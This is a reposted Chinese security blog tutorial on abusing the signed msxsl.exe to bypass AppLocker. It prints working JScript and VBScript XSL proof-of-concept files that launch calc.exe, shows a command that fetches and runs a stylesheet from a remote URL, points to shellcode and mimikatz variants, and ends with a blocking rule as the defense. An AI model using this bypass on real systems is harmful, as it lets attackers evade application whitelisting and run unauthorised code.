Use msxsl to bypass AppLocker

发布于 2024-11-15 10:57:04 字数 7156 浏览 3 评论 0

0x00 前言

Casey Smith@subTee 在 twitter 分享的一个技巧,使用包含微软签名的 msxsl.exe 能够执行 JScript 代码,从而实现对 Applocker 的绕过。

Alt text

twitter 地址如下:https://twitter.com/subTee/status/877616321747271680

POC 地址如下:https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d

0x01 简介

本文将要对这项技术进行介绍,分析可供进一步利用的方法,同时对其扩展,介绍使用 msxsl.exe 执行 VBScript 代码的方式

0x02 msxsl

1、msxsl.exe

  • XSL(Extensible Stylesheet Language) 转换器
  • 命令行工具
  • 带有微软数字签名

下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=21714

执行如下图

Alt text

参考 Casey Smith 的 POC:

customers.xml:

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="script.xsl" ?>
<customers>
   <customer>
      <name>John Smith</name>
      <address>123 Elm St.</address>
      <phone>(123) 456-7890</phone>
   </customer>
   <customer>
      <name>Mary Jones</name>
      <address>456 Oak Ave.</address>
      <phone>(156) 789-0123</phone>
   </customer>
</customers>

script.xml:

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="http://mycompany.com/mynamespace">

<msxsl:script language="JScript" implements-prefix="user">
   function xml(nodelist) {
    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
      return nodelist.nextNode().xml;

   }
</msxsl:script>
<xsl:template match="/">
   <xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>

成功执行 JScript 代码,弹出计算器,poc 执行如下图

Alt text

开启 Applocker,添加规则拦截 js 脚本的执行,如下图

Alt text

但是使用 msxsl 仍然能够执行 JScript 代码

在之前的文章 《利用 JS 加载.Net 程序》 介绍过利用 JScript 脚本加载.Net 程序的方法,结合本文,可以得出推论:

使用 msxsl 也能够执行 c#代码

具体来说,能够实现以下功能:

  • 执行 shellcode
  • 执行 mimikatz
  • 执行 powershell 脚本

2、执行 shellcode

可参照 Cn33liz 的 StarFighters,地址如下:https://github.com/Cn33liz/StarFighters/blob/master/StarFighter.js

结合 Casey 的 POC,就能够实现利用 msxsl 执行 shellcode

完整代码我已经上传至 github,地址如下:https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker/blob/master/shellcode.xml

测试如下图

Alt text

对于执行 mimikatz 和 powershell 脚本,思路可参照之前的文章 《利用 JS 加载.Net 程序》

0x03 脚本优化

分析 xml 文件格式,对 Casey 的 POC 作适当优化

1、精简 customers.xml

XML 元素命名规则:

  • 名称可以含字母、数字以及其他的字符
  • 名称不能以数字或者标点符号开始
  • 名称不能以字符 “xml”(或者 XML、Xml)开始
  • 名称不能包含空格
  • 可使用任何名称,没有保留的字词

原 POC 内容如下:

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="script.xsl" ?>
<customers>
   <customer>
      <name>John Smith</name>
      <address>123 Elm St.</address>
      <phone>(123) 456-7890</phone>
   </customer>
   <customer>
      <name>Mary Jones</name>
      <address>456 Oak Ave.</address>
      <phone>(156) 789-0123</phone>
   </customer>
</customers>

经分析,参数 1 中的 xml 文件不重要,元素可以任意指定

去掉不相关的参数,重新命名一个 xml 元素,精简后代码如下:<a></a>

并且,如果为了少创建文件,使用 script.xsl 作为第一个 xml 文件参数也是可以的

例如,参数如下:msxsl.exe script.xsl script.xsl

执行成功,如下图

Alt text

2、优化 script.xsl

执行 VBScript 代码:

注:经测试,此 xml 脚本不支持 CSharp,同该资料相违背,此问题有待解决

资料地址如下:https://msdn.microsoft.com/en-us/library/533texsx(VS.71).aspx

对于 VBScript 语言,不支持 return 表示函数返回值,通过函数名=需要返回的值来表示函数返回值

完整内容如下:

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="urn:my-scripts">

<msxsl:script language="VBScript" implements-prefix="user">
function myFunction()
    set shell=createobject("wscript.shell")
    shell.run "calc.exe",0
    myFunction = 0
end function

</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:myFunction()"/>
</xsl:template>
</xsl:stylesheet>

以上文件内容对应 github 地址: https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker/blob/master/VBScript.xml

注:调用函数名要对应:

<xsl:value-of select="user:myFunction()"/>

3、远程执行

msxsl.exe 也支持远程执行,参数如下:

msxls.exe ..//Use-msxsl-to-bypass-AppLocker/master/shellcode.xml ..//Use-msxsl-to-bypass-AppLocker/master/shellcode.xml

如下图

Alt text

注:该方法是从 Evi1cg 学来的,博客地址: https://evi1cg.me/archives/AppLocker_Bypass_MSXSL.html

0x04 防御

添加 Applocker 的可执行规则,指定 msxsl.exe

如下图

Alt text

即使更改文件路径,msxsl.exe 仍然无法执行

如下图

Alt text

0x05 小结

本文介绍了利用 msxsl 绕过 AppLocker 的方法,但是通过定制 AppLocker 规则,还是能够限制该方法的使用。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

魄砕の薆

暂无简介

0 文章
0 评论
23 人气
更多

推荐作者

qq_7J1imQ

文章 0 评论 0

《一串符号》

文章 0 评论 0

hls.

文章 0 评论 0

雅心素梦

文章 0 评论 0

塔塔猫

文章 0 评论 0

微信用户

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文